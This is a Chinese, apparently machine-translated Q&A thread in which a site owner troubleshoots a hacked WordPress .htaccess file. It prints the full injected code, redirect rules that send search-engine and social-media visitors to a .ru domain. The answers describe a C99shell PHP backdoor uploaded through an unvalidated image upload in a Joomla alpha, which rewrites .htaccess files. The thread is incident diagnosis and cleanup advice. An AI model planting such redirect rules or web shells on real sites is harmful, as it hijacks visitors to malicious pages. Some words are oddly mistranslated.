wordpress .htaccess文件被黑客入侵

我很难过 我的客户WordPress的网站不断有其.htaccess文件被黑客入侵。 它增加了代码,将所有来自search引擎的stream量redirect到不同的网站。 它不断更改它redirect到的域。 目前(不要访问这个网站!prime-vermond.ru)

我已经改变了FTP密码,WordPress的pipe理员密码,更新所有插件,删除未使用的插件,更改.htaccess文件的文件权限为444。

我在想这可能是一个服务器漏洞? 客户端站点与godaddy托pipe。 我多次给他们发电子邮件,等待我最近的支持票上的回复。

我已经运行了所有文件的search,寻找可能有恶意代码的东西,但什么也没有。 我假设他们有代码base64编码,并使用eval来运行它。

任何想法如何更好地find修改的坏文件? 我现在亏了= /

以下是添加到.htaccess文件的完整代码

ErrorDocument 400 http://prime-vermond.ru/trast/index.php ErrorDocument 401 http://prime-vermond.ru/trast/index.php ErrorDocument 403 http://prime-vermond.ru/trast/index.php ErrorDocument 404 http://prime-vermond.ru/trast/index.php ErrorDocument 500 http://prime-vermond.ru/trast/index.php <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*baidu.* [OR] RewriteCond %{HTTP_REFERER} .*youtube.* [OR] RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR] RewriteCond %{HTTP_REFERER} .*qq.* [OR] RewriteCond %{HTTP_REFERER} .*excite.* [OR] RewriteCond %{HTTP_REFERER} .*altavista.* [OR] RewriteCond %{HTTP_REFERER} .*msn.* [OR] RewriteCond %{HTTP_REFERER} .*netscape.* [OR] RewriteCond %{HTTP_REFERER} .*aol.* [OR] RewriteCond %{HTTP_REFERER} .*hotbot.* [OR] RewriteCond %{HTTP_REFERER} .*goto.* [OR] RewriteCond %{HTTP_REFERER} .*infoseek.* [OR] RewriteCond %{HTTP_REFERER} .*mamma.* [OR] RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR] RewriteCond %{HTTP_REFERER} .*lycos.* [OR] RewriteCond %{HTTP_REFERER} .*search.* [OR] RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR] RewriteCond %{HTTP_REFERER} .*bing.* [OR] RewriteCond %{HTTP_REFERER} .*dogpile.* [OR] RewriteCond %{HTTP_REFERER} .*facebook.* [OR] RewriteCond %{HTTP_REFERER} .*twitter.* [OR] RewriteCond %{HTTP_REFERER} .*blog.* [OR] RewriteCond %{HTTP_REFERER} .*live.* [OR] RewriteCond %{HTTP_REFERER} .*myspace.* [OR] RewriteCond %{HTTP_REFERER} .*mail.* [OR] RewriteCond %{HTTP_REFERER} .*yandex.* [OR] RewriteCond %{HTTP_REFERER} .*rambler.* [OR] RewriteCond %{HTTP_REFERER} .*ya.* [OR] RewriteCond %{HTTP_REFERER} .*aport.* [OR] RewriteCond %{HTTP_REFERER} .*linkedin.* [OR] RewriteCond %{HTTP_REFERER} .*flickr.* RewriteRule ^(.*)$ http://prime-vermond.ru/trast/index.php [R=301,L] 

您的应用程序代码被利用或者有人钓鱼/猜测您的帐户凭据。 确保您的wp代码是最新的,包括任何插件,并确保您更改您的帐户密码。

设置所有可能的日志选项。 等待它再次发生。 然后记下文件上次修改的时间,然后检查访问/错误日志,以查看当时是否有exception情况发生。

我遇到了同样的问题,这是我们的解决scheme。

背景

在我们的一个cms安装中有一个安全漏洞,在我们的例子中是一个用于testing的alpha版本的joomla 1.6,这个版本没有被关心…是不相干的alpha版本是什么,有一个版本和非常安全的版本1.7)现在:P。

洞是由文件/图像上传代码生成的。 这部分的cms没有validation任何东西,所以任何人都可以上传任何types的文件(在我们的情况下是一个php文件),并通过调用文件外部执行。

php文件(在我们的例子中)被上传到图像目录,特别是所有文章都可以上传的文件夹,在我们的例子中,这个特定的安装是domain.com/images/stories/

这PHP代码扫描所有的Apacheconfiguration文件(.htaccess),并添加上面描述的规则。 代码跳转依次逐级进行,直到无法读取或写入权限,将此代码添加到按级别查找的任何.htaccess文件,或者在不存在的情况下创build它。

如果您删除或replace.htaccess文件,则会通过执行php代码来重新创build或修改这些文件(在我们的案例中每小时)。

我们开始使用修改date跟踪文件,并通过最近修改的过滤来进行过滤。 我们使用.htaccess文件(最近修改)作为面包屑来查找源代码。

如果您有权访问shell,则更容易,否则请通过上次修改的文件夹进行检查,您会在每个子文件夹中find.htaccess文件。 你基本上将最终与一些PHP文件与最近的date,并可能与公共访问(0606或类似的)的可执行权限。

如果您尝试下载此代码,您的防病毒软件会popup警告,在我们的情况下,Avira会显示Trojan – Backdoor PHP / C99shell.B的警告,所以请勿打扰。

但是,如果你很好奇,那么将扩展名更改为别的东西,或者用zip压缩包来下载它,或者一秒钟禁用你的杀毒软件,但那取决于你。

无论如何,一旦你发现这些/这些文件(S)删除它们,并更新您的系统或卸载(如我们所做的),如果需要填补安全漏洞。

希望这可以帮助别人! :d